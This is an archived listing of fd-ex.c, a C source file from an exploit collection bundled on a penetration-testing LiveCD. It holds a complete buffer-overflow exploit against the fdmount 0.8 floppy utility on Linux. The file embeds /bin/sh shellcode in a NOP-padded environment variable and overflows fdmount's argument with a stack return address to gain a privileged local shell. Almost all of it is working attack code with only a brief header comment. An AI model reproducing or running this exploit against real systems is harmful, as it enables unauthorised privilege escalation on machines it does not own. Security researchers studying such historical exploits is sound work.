home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / fd-ex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  69 lines

  1. /*
  2.  * fdmount 0.8 buffer-overflow exploit (fd-ex.c)
  3.  * (C) 2000 Paulo Ribeiro <prrar@nitnet.com.br>
  4.  *
  5.  * Systems tested: Slackware Linux 7.0
  6.  * 
  7.  * Remember: you have to be a member of floppy group to exploit it!
  8.  */ 
  9.  
  10. #include <stdlib.h>
  11.  
  12. #define DEFAULT_OFFSET                    0   
  13. #define DEFAULT_BUFFER_SIZE             180
  14. #define DEFAULT_EGG_SIZE               2048
  15. #define NOP                            0x90
  16.  
  17. char shellcode[] =
  18.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
  19.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  20.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  21.  
  22. unsigned long get_esp(void) {
  23.    __asm__("movl %esp,%eax");
  24. }
  25.  
  26. void main(int argc, char *argv[]) {
  27.   char *buff, *ptr, *egg;
  28.   long *addr_ptr, addr;
  29.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  30.   int i, eggsize=DEFAULT_EGG_SIZE;
  31.  
  32.   if (argc > 1) bsize   = atoi(argv[1]);
  33.   if (argc > 2) offset  = atoi(argv[2]);
  34.   if (argc > 3) eggsize = atoi(argv[3]);
  35.   
  36.   if (!(buff = malloc(bsize))) {
  37.     printf("Can't allocate memory.\n"); 
  38.     exit(0);
  39.   }
  40.   if (!(egg = malloc(eggsize))) {
  41.     printf("Can't allocate memory.\n");
  42.     exit(0);
  43.   }
  44.  
  45.   addr = get_esp() - offset;
  46.   ptr = buff;
  47.   addr_ptr = (long *) ptr;
  48.   for (i = 0; i < bsize; i+=4)
  49.     *(addr_ptr++) = addr; 
  50.  
  51.   ptr = egg;
  52.   for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
  53.     *(ptr++) = NOP;
  54.  
  55.   for (i = 0; i < strlen(shellcode); i++)
  56.     *(ptr++) = shellcode[i]; 
  57.    
  58.   buff[bsize - 1] = '\0';
  59.   egg[eggsize - 1] = '\0';
  60.  
  61.   memcpy(egg,"EGG=",4);
  62.   putenv(egg);
  63.   memcpy(buff,"RET=",4);                  
  64.   putenv(buff);
  65.   system("/usr/bin/fdmount fd0 $RET");     
  66. }
  67.  
  68. /* fd-ex.c: EOF */
  69.